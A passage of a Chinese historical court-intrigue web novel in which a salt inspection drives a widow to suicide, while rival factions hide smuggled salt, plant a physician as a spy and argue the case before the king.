孙绍祖带着两个侍卫进入了村子。他停在村口第一户人家门前抬手敲了几下,里面没人回应。他眉心微皱,加重力道连敲了三下。
屋内传来重物落地的闷声,片刻后门开了。赵二娘抱着一个三岁左右的女孩儿出来,脸上的惊慌还未散去。当她看到孙绍祖的官服后,脸色唰的一下就变白往后退了好几步。
“官……官爷!”赵二娘紧紧抱着女儿,小女孩环着她的脖子缩在她怀里,怯生生的眼睛里染上了一层薄薄的水雾。
“别怕,我们就是来看看!”孙绍祖往屋里走,两个侍卫很识趣的守在门口。赵二娘见他直接进门伸手想拦却没拦住。
“官爷,我们家什么值钱的东西都没有了,求您高抬贵手,放过我们吧!”赵二娘边说边掉下眼泪,她怀里的女儿也跟着小声哭泣着。
赵二娘心里很不是滋味,又酸又痛的。但她还是抱着女儿轻轻擦掉她的眼泪,哄着她。“月儿乖,不哭了!”
孙绍祖看着孩子哭,犹豫了一瞬没有在往前走,只是随意的打量着四周:屋子里空荡荡的,只有一张小破红木桌,一个锅,两袋干辣椒和土豆,还有一小袋掺了稻糠的米堆砌在角落里。说是一贫如洗也不为过。“家里就你一个人?”
“嗯,男人去年得了病,一直咳嗽,花光所有的积蓄也没救下他……”赵二娘哭的伤心,她抱着女儿背对着孙绍祖,肩膀微微颤抖着。
孙绍祖平静的看着她,眼底闪过一丝悲悯。他里外扫视了一圈后,最终把目光放在了那袋米上。他走过去一看,果然发现了里面藏着的一小袋盐——是私盐。伸手一掂,却不到五斤。
赵二娘眼见私盐被发现,不敢看孙绍祖,抱着女儿的手抖得厉害,眼泪大颗大颗落下,小女孩被吓的发声大哭。
“谁让你藏私盐的?”
赵二娘抱着女儿跪在他面前,“官爷,这都是我自己藏的。我只是想混口饭吃啊,孩子还小,我男人又没了……”她哭的声音沙哑,涕泗横流,一手揪着他的衣摆,一手抱着孩子。“官爷,求求你,别收缴了我的盐……”
孙绍祖抽出衣摆,把人扶起来转头看向门口的侍卫。“去请郑大人!”他话音刚落,门口的一个侍卫立刻离去。赵二娘听到还要找人来,她吓得跌坐在地。可下一秒,她竟抱着女儿爬起来直直的撞在墙上,鲜血瞬间染红了墙壁,温热的血迹低落在小女孩的脸上。
一切就发生在瞬间,孙绍祖根本来不及反应,等他迈出脚步去阻拦时,赵二娘已经撞墙而亡了。
“阿娘……呜呜呜,阿娘……,你怎么了……”小女孩儿的声音里充满了恐惧和伤心,她在赵二娘倒地的时候就被护在怀里,没有受伤。她哭着喊着摇晃赵二娘的胳膊。“阿娘,你怎么了,阿娘……”
赵二娘哑着嗓子喊了一句“月儿,不哭,娘只是困了……”,她伸手想去擦女儿的眼泪,手指在触碰到女儿脸蛋的那一刻直直垂下,没了动静。
孙绍祖一时之间愣住,他看着眼前的一幕有些复杂。“孙大人,这……”另一个侍卫有些为难的看向他。
他上前想把孩子抱起来,却被小女孩稚嫩且染着血迹的双手推开。“你是坏人!”
孙绍祖伸出去的手僵硬在原地,这时,郑淮安带着岳枫和几个侍卫赶了过来。
“赵二家的!”岳枫瞳孔一缩,他快步走过去把小女孩儿搂在怀里,不让她继续看见这血腥的一幕。
“这是怎么回事?”郑淮安扫了一眼孙绍祖,脸色有些难看。
“下官来探查私盐,灶户受了刺激一时想不开,撞墙了!”孙绍祖微微垂下眼眸,语气低沉。郑淮安看了一眼那数量不多的私盐,显然他对此事的发展很不满。
“孙大人,不知道我岳家的灶户究竟是哪里得罪你了,你要这样欺凌她们!”岳枫抱着孩子,捂着她的耳朵站起来,眼神冰冷,额头的青筋若隐若现。“郑大人,下官敬您是王上派来的钦差,对您也是礼敬有加,处处配合。但今日孙大人私查灶户,逼死一个守寡的妇人,这事,您若是不给个交代,我岳家人定不会善罢甘休!”
“你少往我们这儿泼脏水,明明就是她藏私盐被发现畏罪自杀,跟孙大人有什么关系?”不等郑淮安说话,吴言竟第一个跳出来。
“呵!”岳枫重重的哼了一声,他伸手指着那一袋盐。“这么小点儿盐能有多少?对你来说,这是私盐,可这些盐对她一个孤寡妇人来说,就是她活下去的存粮。你们把人家的盐查了,现在还要抹黑她。你们真当我岳家是好欺负的吗?”
岳枫这话一出口,在场之人脸色都微微一变。吴言竟也嗫嚅着,最后只能小声嘀咕了一句:那还不是她藏私盐在先!
“这么热闹,看来,是我来的不巧了!”
一道女声从门口传来,众人回头望去,只见林晚香款款走来。她所到之处,侍卫互相对视了一眼后都各自排成两列,给她清出一条康庄大道。
林晚香站定,视线在在场之人身上转了一圈。然后,她看见了地上那滩血,目光停了一瞬,很短,短到没人注意。“蘅儿!”她声音很平,“把披风解了,给赵二家的盖上!”
“是,夫人!”玉蘅解下自己的白色披风轻轻合上赵二娘的的双眼,把披风盖在她身上。
“夫人!”岳枫见林晚香来了,像是找到了主心骨,心里的不安散了不少,腰杆也挺直了几分。
“林夫人!”郑淮安笑着行了一个平礼。
吴言竟和林晚香对视了一眼后率先移开视线。其他人或多或少都避开她的目光。林晚香嘴角扬起一抹没有温度的笑。“郑大人,不解释一下吗?”
郑淮安笑着迎上她的目光,“林夫人,孙大人确是奉了下官的旨意才来查探私盐。只是没想到下官一时疏忽竟酿成了此等悲剧,是下官御下不严。待下官回去,定会亲自向王上告罪,还请林夫人息怒。”郑淮安看了一眼地上的尸体,眉头皱了一下,很快松开。
林晚香没有回应郑淮安的话,她定定的看了他几眼后,又把目光放在孙绍祖身上。“那敢问孙大人,今日可查出什么了?”
孙绍祖沉默了很久。久到吴言竟想替他答时却被他一个眼神压住。他抬起头,与林晚香对视。那目光里没有心虚,也没有退让,只是……很平,平的就像一潭死水。“林夫人,下官只查到灶户的日常用盐。不曾查到私盐。”
“孙绍祖,你疯了吗?她那明明就是……”吴言竟当场炸,他厉声反驳结果就是话还没说完就被郑淮安打断。
“够了!”
“郑大人,怎么连你也……”吴言竟气的脸都通红,他满心愤怒,却不得不在郑淮安的注视下败下阵来。他一拳砸在墙壁上,震得尘土簌簌往下落。
林晚香拿起帕子,优雅的掩住口鼻。“既然如此,那此事就到此为止。吴大人,我想,你也不会再有意见了吧?”
“我当然……没!意!见!”吴言竟说这话时,几乎是咬牙切齿的。可林晚香看着他的反应,只觉得可笑。“郑大人,我还要留下来善后,就不留你了,您慢走!”
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郑淮安行了一礼,“那就不打扰林夫人,下官告辞!”他说完就带着一干人等离开了这里。
岳枫把人送出去,看着他们的背影彻底消失在村口才重新回到屋内,走到方才放那一袋私盐的地方。他把那袋私盐挪到另一边,打开那一块微微翘起的地窖门,沿着楼梯缓缓下去。里面的盐堆得整整齐齐,没有被翻动的痕迹,还好没被发现。
他松了一口气,大概一刻钟之后就出来了。“夫人,两百石,一分都不少。”
林晚香点点头,“其他灶户那边都要提前做好准备,庄家这次吃了闷亏,必定不会善罢甘休。”
“夫人,那这批盐……?”
“找几个签了死契的下人,连夜把这些盐运出去,免得夜长梦多!”
林晚香说完,视线落在玉蘅怀里的小女孩身上,她爱怜的摸了摸小女孩的头儿。“把这孩子送回赵二的老家,给她父母一笔钱,添置一间宅院。再让几个利索忠心的婆子丫鬟送赵二的尸身回去。她们也不必回来了,就留在那儿照顾老人跟孩子,月钱还是按时发放。”
“夫人放心,小人会妥善安排好后事的。”岳枫看了一眼赵二娘的尸体,脸上闪过一丝极淡的同情和敬佩。
“嗯,去安排!”林晚香说完就带着人离开了。
丞相府
孙绍祖和吴言竟正在庄聿安的书房里,他们一个沉默不语,一个从进来就连喝了两杯茶依然怒气横生。
吴言竟把杯子重重放在桌面,“我就不明白了,那个女人反应那么大,她屋子里一定还有其他的私盐,只要我们一搜查,必能人赃俱获。孙大人,那么好的机会,就被你白白浪费了!”
孙绍祖没有接话,只是摩挲着自己的袖口。那上面沾了一点血——他想去抱孩子的时候蹭到的。但他自己不知道。
“好了,再吵也无用!”庄聿安敲击桌面的手指停了下来。
“可是相爷……”吴言竟还想说些什么,却在触及到庄聿安眼底的不耐后悻悻闭了嘴。
“言竟,你先回去。今日的事,我还要再考量一番。”吴言竟张嘴想说些什么又没说出口,“下官告退!”
屋内只剩下了庄聿安跟孙绍祖两个人,庄聿安神情淡漠的坐着,脸上也不怒不悲,孙绍祖完全猜不透他此刻的想法。“这次的事一切都那么顺利的推行,却还是没能办好……”庄聿安摇了摇头,没把后面的话说完。
“相爷,就是因为太顺了,下官……才一时轻敌了。”
“本来想拨云见日,却引来倾盆暴雨。在郑大人的配合之下查私盐结果闹出来人命,这事儿,岳家那边,还有王上那儿,都不好交代啊!”
孙绍祖垂眸,起身请罪。“相爷,都是下官一时疏忽没拦住那女子才坏了您的大计,还请相爷责罚!”
“眼下,这些都不是要紧的!”庄聿安摊开一张素纸,提笔写下“定”字。“郑大人,可有查出些什么?”
“这个下官倒是不知,只是听郑大人说岳家盐田的账簿还有盐务表面上是没什么问题。”
庄聿安提起笔,没有继续写,而是定定的停在半空。“想必他是察觉到了什么!”
“郑大人虽然保下了下官,林夫人也没有再逼问计较下官追查私盐一事闹出的事端,只是……”孙绍祖有些担忧,“相爷,这郑大人毕竟直接对王上回禀,下官担心王上会因此事暂缓改革的议程。”
庄聿安没接话,放下了笔看着窗外,很久,才说:“是啊。重要的是,王上会怎么想……”
16. 第 16 章
丞相府
孙绍祖和吴言竟正在庄聿安的书房里,他们一个沉默不语,一个从进来就连喝了两杯茶依然怒气横生。
吴言竟把杯子重重放在桌面,“我就不明白了,那个女人反应那么大,她屋子里一定还有其他的私盐,只要我们一搜查,必能人赃俱获。孙大人,那么好的机会,就被你白白浪费了!”
孙绍祖没有接话,只是摩挲着自己的袖口。那上面沾了一点血——他想去抱孩子的时候蹭到的,但他自己不知道。
“好了,再吵也无用!”庄聿安敲击桌面的手指停了下来。
“可是相爷……”
庄聿安不给他再说话的机会,“言竟,你先回去。今日的事,我还要再考量一番。”吴言竟张嘴想说些什么又没说出口,“下官告退!”
屋内只剩下了庄聿安跟孙绍祖两个人,庄聿安神情淡漠的坐着,脸上也不怒不悲,孙绍祖完全猜不透他此刻的想法。“这次的事一切都那么顺利的推行,却还是没能办好……”庄聿安摇了摇头,没把后面的话说完。
“相爷,就是因为太顺了,下官……才一时轻敌了。”
“本来想拨云见日,结果却引来倾盆暴雨。在郑大人的配合之下查私盐闹出来人命不说,还激起了民愤。这事儿,岳家那边,还有王上那儿,都不好交代啊!”
孙绍祖垂眸,起身请罪。“相爷,都是下官一时疏忽才酿成今日大祸,还请相爷责罚!”
“眼下,这些都不是要紧的!”庄聿安摊开一张素纸,提笔写下“定”字。“郑大人,可有查出些什么?”
“这个下官倒是不知,只是听郑大人说岳家盐田的账簿还有盐务表面上是没什么问题。”
庄聿安提起笔,没有继续写,而是定定的停在半空。“想必他是察觉到了什么!”
“郑大人虽然保下了下官,林夫人也没有再逼问计较下官追查私盐一事闹出的事端,只是……”孙绍祖有些担忧,“相爷,这郑大人毕竟直接对王上回禀,今日之事闹的太大,下官担心王上会因此事暂缓改革的议程。”
庄聿安没接话,放下了笔看着窗外,很久,才说:“是啊。重要的是,王上会怎么想……”
良久
“你先回去处理伤口,有什么事明天再议!”
“好!”孙绍祖起身,带上房门离开了。
“庄林,让苑姑娘来一趟!”
“老奴这就去请苑姑娘!”庄林刚走出书房就迎面碰上了陈兰。“夫人!”
“嗯,我去看看老爷!”陈兰让孙妈妈守在门口,自己走进书房。“老爷,我听说岳家盐工被逼的造反了?你没什么事吧?”
庄聿安在陈兰进来的时候就转身走向她,他握住陈兰的手拍了拍。“不是造反,只是盐工情绪激动,跟我们的人起了冲突。”
陈兰紧紧扣住他的手,“外面传的有鼻子有眼,都在说官压百姓还闹出来人命。老爷,这事儿会不会牵连到你啊?”
“别怕,我心里有数,不会有事的!”庄聿安抚平她皱着的眉头。
“老爷,有没有什么我能帮得上吗?”陈兰抬头看他,眼里的担忧愈发厚重。看着她忧心的模样,庄聿安没有回答,他的心抽痛了一下,把人抱在怀里紧紧圈着,下巴抵在她的发顶。“夫人,让你担心受怕,是我对你不住!”
“老爷,我知道你跟岳家之间有宿怨,我也不懂你们男人家的权术……”陈兰把头埋在他心口,声音沉闷。“我只想我们一家人都好好的,答应我,好吗?”
庄聿安抱着她的手臂一颤然后更用力的抱紧她。“好,再也不会了。”他松开陈兰,眉眼温柔如水,理了理她鬓边的发丝。“你看你,都憔悴了许多,我一会儿让庄林到郊外宅院给你扎一个秋千,那儿有你喜欢的木槿花,还有我让人从南边小镇抓回来的蝴蝶。你去走走,赏赏花散散心,等我忙完再去接你,可好?”
“那我先去了!”陈兰犹豫了一会儿还是点点头,捏了捏他的手指才不舍的离开。庄聿安低头看着自己的手指,不知道看了多久,他只知道,那儿还残留着妻子的余温。
“扣扣扣!”敲门声打断了他的思绪他脸上的温情立刻消失的无影无踪。“进来!”
苑卿桉推门而入时,庄聿安已经整理好自己的心情正冷然的坐在椅子上。
“相爷,你找我!”
“嗯,外头的流言都听说了?”庄聿安慢悠悠的喝了一口茶,不等苑卿桉回答,庄聿安接着说:“有些事,你要学会用长远的目光去看待现在的这个结果。也许,你现在看它是残酷的,可当你拿到完整的结果之后再回头,你就会明白,现在的牺牲和取舍不过是最不得一提的。”
苑卿桉没有接他的话,只是无声的坐下。尽管在听到流言的时候,她就已经猜到庄聿安的开脱之词。可真正听到他嘴里说出来的话后,她的心还是会像溺水无力之人一样慢慢下沉。“哪怕牺牲的是一条人命吗?”
庄聿安喝茶的动作一滞,他放下茶杯。“没有谁的路是一片坦途,有些事从一开始就注定了结果。就像,流言,只能是流言。太较真,反而会把自己困住。”说着他唇角扬起一抹笑,“怎么,心里难受了?”
“既然相爷都明察秋毫了,又何必再步步试探我的想法?有什么话,相爷不妨直说!”
庄聿安见她挑明,也不在兜圈子了。“我需要你去一趟岳家!”
苑卿桉知道他这是想要自己去看看能不能打探到岳家的应对之策。“我知道了!”她起身打开房门,她侧过脸看庄聿安却没有说话。阳光从外面漫进,斜斜的打在她半边脸上,开出金色的花。
庄聿安依旧坐在椅子上,他避开苑卿桉的视线,看着那一片耀眼的金落在了距离他仅有一步之遥的地板上。“你是医者,自然知道,有些病表面看只是一点小问题,可真正开了药去治,得病的人是一定会死的!”说完,他才抬头看苑卿桉。
四目相对,光与影仿佛在这一刻完成了某种交换。“相爷这是想提醒我,提防岳家吗?”
“本相是让你去治岳家小姐的人,可没让你想着去治岳家的病!”庄聿安扶了抚了抚自己的衣袖,看着就像是在说一件跟自己无关的事。
“相爷说笑了,我医术尚浅,治不了那样的疑难杂症,也怕医术不精砸了自己吃饭的本事。”苑卿桉说完收回视线面像太阳看了几秒后抬脚离开了。
“到底是年轻啊……”庄聿安叹了一口气,走到书桌旁坐下,拿起笔又写起了字。
苑卿桉回到清水阁后简单收拾好,又嘱咐了春花几句才动身前往岳家。她走在街上,入耳的都是关于岳家盐田的议论声。
“庄相派人去查私盐,结果逼死了岳家一个守寡的灶户,啧啧啧,这事儿办的!”
“这岳家都要反了,死一个寡妇有什么稀奇的!”
“岳家好歹也是百年大家族,不至于因为死个人就反吧?”
“你还没听说吗?岳家盐工连官差都敢打,这不是要反是什么?”
“可是,这不到五斤的私盐,一条命就这么没了,会不会太狠了!”
“可怜了那个孩子,还那么小!”
“我听说林夫人给了那灶户一大笔钱,宅子,还有丫鬟婆子。你说,她这么做是不是藏自己私盐心虚了,所以才想着急掩盖什么?”
“可别瞎说,那是林夫人心善。哪像庄相,一点儿不体谅百姓。那天天盯着岳家的盐,也不见得他有什么成就啊!”
苑卿桉放慢脚步,把百姓的话听了个七七八八,她停了一瞬后继续迈步走向岳家。当她来到岳家时,来门口接她的依旧是无绿。
“苑姑娘,今儿不是说不过来吗?怎么这个时候来了?”无绿走下台阶,没有请她进去的意思。
“我新做了一些养心丸,想着拿来给岳小姐试试。”苑卿桉说话时余光往府里瞟了一眼。“可是出了什么事?若是不方便的话,我便过几日再来!”
“这……”无绿有些为难,她把苑卿桉带到角落,压低声音:“苑姑娘,今儿府里确实有事。奴婢还是带您从小门进去吧!”
“也好!”苑卿桉跟着无绿从小门进入岳家,穿过回廊时,丫鬟婆子都紧绷着脸色,低着头行色匆匆。远处庭院里忽然传出茶盏碎裂声,她停下脚步顺着声音的方向看过去。
“苑姑娘,别看了!那是老太爷在生气呢!咱们还是快走吧!”无绿
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扯了扯她的袖子,带着她快速穿过回廊前往落月小筑。
岳千帆正在院中树影下作画。画中,那是一条山路,弯弯曲曲的消失在雾里。路边的树光秃秃的,没有一点儿生机。天空是暗沉的,地面也灰蒙蒙一片。只有远处有一点雪白。看着像是雪,又像是别的什么……
她画了很久很久,画到手指发僵也不曾停下。画完后她才放下笔,对着这幅画陷入了深深的忧郁之中。
“小姐,苑姑娘来了!”无绿推开门进来。岳千帆回神放下画笔,有些惊喜。“你怎么来了?”
“我给你做了一些养心丸,顺便……来看看!”岳千帆露出了然的微笑,她过去拉着苑卿桉坐下。“无绿,你去外头守着,我跟苑姑娘说会儿话。”
“奴婢知道了!”无绿关上门走出小院静静守在门口。
“这两日感觉怎么样?”苑卿桉拿出瓷瓶放在桌上,先给她把脉。
“还是老样子,总觉得闷闷的不痛快。不过,胃口倒是比前段时间要好些了。我昨儿还贪新鲜,多吃了半碗木槿花羹。”岳千帆说这话时,眉眼是弯弯的,脸上是有少许笑意的。
“能吃就好,能吃是福!”苑卿桉收回手,又拿出银针,给她扎了几针。起初岳千帆只觉得被扎的地方有些刺痛,但片刻后她就觉得自己的身体仿佛被雨水浸润冲洗过似的,就连呼吸也跟着顺畅多了。
“这……”岳千帆又惊又喜的看着苑卿桉。她的手指捏着银针轻轻搓捻了几下后拔出,放在桌面。
“可好受些了吗?”
“嗯,感觉心里那股郁气散了不少!”岳千帆握着她的手,“苑姑娘,真的谢谢你!”
“这都是我应该做的,你相信我,我会慢慢治好你!”苑卿桉一边说一边笑着把东西收好。抬眼间,她的视线不自觉的就落在了那副画上。
不知为何,看到那副画,她的心会隐隐作痛。岳千帆……,这个女孩的故事,远比她以为的还要深沉。
岳千帆浅笑着起身把画取下来压在桌面。“闲来无事,随便画了点儿打发时间。”
看出她不想多说,苑卿桉也不强求。“方才我经过回廊,听到下人们说岳老生了大气,可是为了外面的流言?”
岳千帆长叹一口气,“想必你也知道了,庄相摆了祖父一道。先前定的是孙大人去探查盐田,结果最后去的是王上派遣的盐田清查使。而孙大人则奉旨带人查探灶户,结果发现了二娘藏着的一点儿私盐,最后二娘去了,盐工也跟官差起了冲突。”
“外面那些流言?”苑卿桉想起自己从百姓嘴里听到的那些亦真亦假的话,在结合岳千帆的话,她一时难以分辩其中真假。
“苑姑娘,你真以为,外面流言闹的沸沸扬扬就没有庄家的手笔吗?”岳千帆的话把她问住了,她似乎从来没有往这个方向去想过。
“苑姑娘,有时候毁掉一个人最简单的方法,就是众人眼中的事实!”
苑卿桉不知道该接什么话,又陷入了沉默。
“我知道这很难接受,可这个世界没有绝对的对错和黑白,有的,只是输赢。而赢者,可以为他的手段辩护!”岳千帆说完这句话后,就像是耗尽了所有的力气,胸腔内又是一阵滞涩。
“咳咳咳!”她拿起帕子掩住口鼻,压抑着咳嗽声。
“别说了!”苑卿桉有些慌乱的起身给她倒了一杯热水。“来,先喝点水!”
岳千帆抿了一口水,热水入喉,那股直冲脑门的气血才慢慢平复下来。她靠在苑卿桉的肩膀上,脸色苍白,声音也沙哑虚弱,“我好累啊,你……能守着我吗?”
“好,我守着你,别怕!”苑卿桉抱着她,轻轻拍着她的后背,她是时不时低头看岳千帆几眼。
“苑姑娘,你会后悔来为我治病吗?”岳千帆虽然闭着眼,可苑卿桉却分明看到了她颤抖如蝉翼的睫毛。她几乎是本能的把她抱紧。
“不会,”我只会后悔没早些来到堰州!最后这句话,她没有说出口,因为她自己也不知道,为何此刻心里会冒出这样一句话。
想着想着,她的视线落在了那副画上。那条路,到底有什么……她不知道答案,但她知道千帆很想走上去。
17. 第 17 章
书房
岳海晟坐在紫檀木漆金椅上,手里拿着一本账簿。账簿的纸页发黄,上面还残留着点点白色的盐霜。林晚香坐在他的右下首位,温垚则在他的左下首位。
“外面都打点好了?”他翻开一页账簿,房间里开始弥漫出淡淡的咸涩味,汗水味儿还有说不清道不明的腥气。林晚香捏着帕子掩了掩鼻很快放下。
“父亲放心,现在外面吵的天翻地覆,二娘去了是事实,庄家再怎么把脏水往我们岳家引,他也占不到理儿。”
“二娘……”岳海晟继续翻看这账本,脸上的没有任何情绪波动。“也是个可怜的聪明人!”
“是,我已经安排好善后了。盐工那边有岳枫在,不会再出现今天这样的事了。”林晚香眼眸略微垂下,弯弯的剪影刚好落在她的眼底遮住了她那一丝很淡的复杂。
“今日的事,也不全怪你。庄聿安那个老狐狸,还跟我玩上明修栈道,暗度陈仓了。”岳海晟轻轻合上账本递给温垚。
“父亲,如今的局面势已经惊动了王上,王上一直想收回盐田。虽说庄家这次站不住脚,可光靠那些流言,只怕也很难动摇他们的根基。”
“是啊,盐政改革是王上亲推的。如今闹出来人命,外头又疯传我们要反,难保王上不会压下此事并借机追查私盐的事儿。”岳海晟双手无意识的放在扶手上,手指转着上面的盘珠。
温垚一直没吭声,只是收起账簿安静的品茶。
“不知,温大人有何高见?”林晚香抿唇一笑,看向一脸淡然,底气十足的温垚。岳海晟转盘珠的手停了下来,他也同样想知道温垚有何锦囊妙计。
温垚自信从容的拨弄着自己的衣袖。“君居庙堂,不知盐霜之苦;民在泥潭,方知苛政之狠。君以民为薪柴,则民以君为仇寇。民可填沟壑,亦可——填宫阙!”他的话说完,岳海晟最先反应过来。
“哈哈哈!”岳海晟单手抚摸着自己的胡须,他的笑声从胸腔里冲出来,沉厚又不张扬,带着一股尽在掌握的笃定。
“说的好,说的好啊!”岳海晟的眉眼缓缓松开,先前那点沉凝尽数散去,只余下几分了然与满意。他的指尖慢悠悠地顺着胡须往下,笑意漫上眼底,却依旧藏着上位者的傲气。
“温大人果然足智多谋,晚香佩服!”林晚香给他续了了一杯茶,温垚双手接过,喝了一口。“林夫人谬赞了,下官不敢当。”
“你啊,说话总是能说到点子上。”岳海晟也夸赞了一句,随后他脸色变得严肃。“孙绍祖这两日估计会消停了。但安插在你身边的那个人,始终是心腹大患。你趁此机会找个时间再复查一下账目,把那些有问题的漏账,都填平了。”
“下官明白,那下官先行告退了。”温垚把那杯茶喝完行了礼就离开了岳家。
“对了,你一直在盐田附近,那个郑淮安可有看出什么不妥吗?”林晚香回想了一下,“并无大不妥,岳枫带他去看了盐池,还有灶炉,盐田的大致区域。”
岳海晟原本略含笑意的眼神在听到“盐田大致区域”时消失了。“父亲,可是有什么不妥?”林晚香敏锐的感受到他的情绪变化。
“都去了盐田哪些地方?”
“大堰盐田基本都看了,还有就是旁边坐落在沟渠的那块盐田。”岳海晟眼神冷的像冰,直直的射向林晚香。“晚香,你什么时候开始,会犯这种致命的错误了?嗯?”
林晚香心头一震,她有些不明所以的看着岳海晟,几息之后像是突然想到了什么,她的脸上闪过一丝极快的慌乱。“父亲……”
“好了!”岳海晟抬手打断了她要说的话,“你现在就让人去把那块盐田的地契补下来。”
“我这就去办!”林晚香起身就要离开又被岳海晟叫住。“帆儿的病如何了?”
听岳海晟提起岳千帆,她的脸色有些不自然,声音也小了几分。“我这段时间都忙着宅院的事……”
“去看看她吧。上次那个叫苑卿桉的丫头给她开了几副药,听说她吃着身子倒是好些了。你也该……多去看看她了”
林晚香隐约猜到了什么,她抬起头看他,带着几分试探。“父亲的意思是?”
“庄家公子不是回来了?”岳海晟笑的很轻,脸上的褶子若隐若现。
林晚香确定了他话语里的深意,心里酸涩了一瞬但又恢复如常。“儿媳告退!”
林晚香离开后带着玉蘅往落月小筑走去。他们走到院门口,就看见了坐在台阶上抽烟叶卷的岳安生。她的脸色漠然深沉,上手夺了他的烟扔在地上。“说了多少遍,那些个域外来的烟叶卷少去碰,你还当个宝一样天天抽!”
岳安生不悦呼出一口烟气躲开她欲抓住自己的手,“我的事,你少管!”
林晚香扑了个空,心里怒火慢慢积压。
“老爷,夫人也是为你好。你就别跟她怄气了。”玉蘅也在旁边劝慰着。
岳安生看了一眼地上猩红的烟头,抬脚将其踩灭。“是啊,夫人现在统管全家,自然事事都是为了我好!”他话里话外都透着阴阳怪气,林晚香的脸色是变了又变,氛围陷入了诡异的平静。
“父亲,母亲!”岳千帆听无绿说父母在院门口拌嘴了,她和苑卿桉对视一眼,三人一起出来。
见岳千帆出来,几个人之间的气氛缓和了些许。林晚香应了一声后,目光落在苑卿桉身上,“苑姑娘也在啊!”
“是,我来给岳小姐送一些养心丸。”
“吃那么多药也不见得什么用。我早年便说了,你不要老想着那些乱七八糟的人和事,你倔得很,非不听我的。看看现在这个样子,知道难受了!”岳安生一副恨铁不成钢的模样,他的话语凉薄又犀利,像一根针扎在众人的心底。
“行了,没事少在帆儿面前胡言乱语的!”
“说两句还不乐意了!”岳安生嘟囔了一句,“是是是,夫人说的都对!我啊,到底是个讨人嫌的,就不打扰你们母女情深了!”他说完袖子一甩径直离开。
林晚香袖子里的拳头捏紧又松开,“苑姑娘,帆儿近况如何?”
苑卿桉的视线从岳安生的背影里收回来,“只是稍有好转,若要完全康复,还需慢慢调养个大半年。”
“母亲今日怎么有空过来了?”岳千帆捏了捏苑卿桉的手,不动声色的把人拉到身后护着。
“父亲因为盐田的事生了大气,这会儿正在书房思考应对之策。我便来看看你!”林晚香说这话时,眼角的余光从
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始至终没有离开过苑卿桉。
“有劳母亲挂心。多亏了苑姑娘,我没什么大碍!”岳千帆既客气又疏离的笑着,林晚香则像是无所察觉一样,笑着拉起她的手。“陪母亲进去坐坐,嗯?”
“林夫人,岳小姐,天色也不早了,那我就先回去,改日再来拜访!”
“苑姑娘慢走,我就不送了!”林晚香不给岳千帆说话拒绝的机会,牵着她进屋了。
苑卿桉看着小院的门慢慢关上,心里是说不出来的落寞。回到丞相府,她先去见了庄聿安。
“岳家可有异动?”
苑卿桉摇头,“路过岳家回廊,只听见了书房内传出茶盏摔裂之声,丫鬟小厮都惊慌失措。府中……氛围沉闷!”
庄聿安似乎早就有所猜想,他起身走到窗边,背对着她,伸手捡起掉落在窗台上的栾树果实,轻轻摩挲。“还有呢?”
“不知相爷的还有,指的是什么?”苑卿桉在他身后三米左右的地方停下,她看着庄聿安的背影,袖子里的手指蜷缩了一瞬。
“你知道我想听什么。我也知道,只要你想,探听少许细枝末节的消息是轻而易举。”庄聿安把玩着那颗鲜艳的果子,微微侧过脸。落日的余晖打在他脸上,那张脸此时此刻,明暗交织,犹如蛰伏的鹰鹫,只需瞬间,便可用利爪刺穿对方,夺人性命于无形。
“我并不觉得我看到的那些寻常小事对相爷的谋划有所帮助。我也不相信,相爷跟岳家斗了那么多年,会不了解岳家内部的情况。”苑卿桉往前走了两步后停下。
庄聿安转过身子,锐利的眼眸直直射向她。“好一个伶牙俐齿的丫头,看来本相倒是小瞧你了!”
“相爷和岳家是宿怨,你对岳家的了解远比我一个外人看到的要透彻。可相爷却还是缕缕以要我为岳家小姐治病为由频繁出入岳家。不知究竟是相爷想扳倒岳家还是说,你有更深层次的目的呢?”苑卿桉毫不畏惧的继续往前走了两步,她的眼神不似往日里的迷茫和顺从,反而多了几分锋利和傲骨。
“知道太多的人,可活不长久!”庄聿安捏着果子的手慢慢收紧,汁液顺着他的拳头缝流下,滴落在地毯上。但他只是低头看了一眼,就把捏碎的果子扔出窗外,拿起帕子擦了擦手。
“活的长不长久,取决于做了什么而不是知道了什么,不是吗?”
庄聿安盯着她看了半晌后,把帕子扔在地上。“回去歇着吧!”
苑卿桉回到清水阁后,她取下头上的发簪细细摩挲着,看着上面的纹路,她好像明白了什么,又好像没明白。
翌日
卯时三刻,朝鼓已然响过三巡。文武百官分列两侧,庄聿安站在文官首位,岳海晟站在他对面。南狄还没来,殿内安静得能听见衣料摩擦的细响。庄聿安低垂着眼,像在数地面的砖石,而岳海晟则看着对面的柱子,像在欣赏上面的雕龙画凤。整个大殿内,无一人说话。
众大臣垂手静立,可南狄却迟迟没有现身,不少大臣窃窃私语,还有胆大一点儿的时不时往侧殿方向张望。
“哒哒哒!”
殿外传来靴子踩在石板上的声响,脚步声不重,但一下一下的却像敲在人的心口上。内侍尖声喊道:“王上驾到——”
18. 第 18 章
百官齐齐跪下,“参见王上!”
南狄从侧殿走出来:玄色金丝蟒袍,腰间玉带,步伐不急不缓。他经过庄聿安身边时,脚步没停,但庄聿安的头低了一寸。岳海晟虽然也低着头,但嘴角扬起一丝几乎看不见的弧度。下一秒,南狄就停在他面前,视线落在他身上,他脊背僵了一瞬,身子往下弯了些许。
南狄收回目光,他在王座上坐下,目光扫过底下跪着的群臣,停了一瞬,然后开口:“起来吧。”
“谢王上!”众大臣起身站好后,林海率先持笏板出列:“启奏王上,臣有本要奏!”
“林爱卿,你有何事要启奏?”
“王上,昨日孙大人逼死一寡妇之事激起众怒,导致盐工集体反抗,另有数名盐工受伤。现如今,外面流言纷纷,灶户不安,盐工畏惧,长此以往,只恐民心不稳,江山动荡。臣恳请王上即刻惩处孙绍祖,以安民心!”林海面无表情,声音平缓有力。
“臣附议,孙大人此举实在太过鲁莽。王上历来以仁厚治国,此番官差逼民之举若不惩治,日后群吏效仿,伤了朝廷的颜面不说,还败坏吏治,请王上早下决断!”
“吴尚书此言差矣!”吏部尚书周明远缓缓出列,“王上,臣以为孙大人做法虽有莽撞之处,但那也是基于秉公执法的缘由。赵二娘藏私盐实乃铁证如山,半分抵赖不得。且盐工率先对孙大人动手也是不争的事实。”说着他扫了一眼吴虞,“吴尚书,你可不要避重就轻,混淆视听啊!”
“臣也以为周尚书的话在理。赵二娘藏私盐,是违法。盐工殴打官差,有造反之嫌。若是纵容此等刁民挑衅律法,那我朝廷威严何在?臣恳请王上,严惩肇事盐工,以正国法!”吴言竟半低着头,面露讥讽。说完他还抬手扶了扶官帽。帽檐正了,他的下巴也微微抬起,不再看岳家那边。
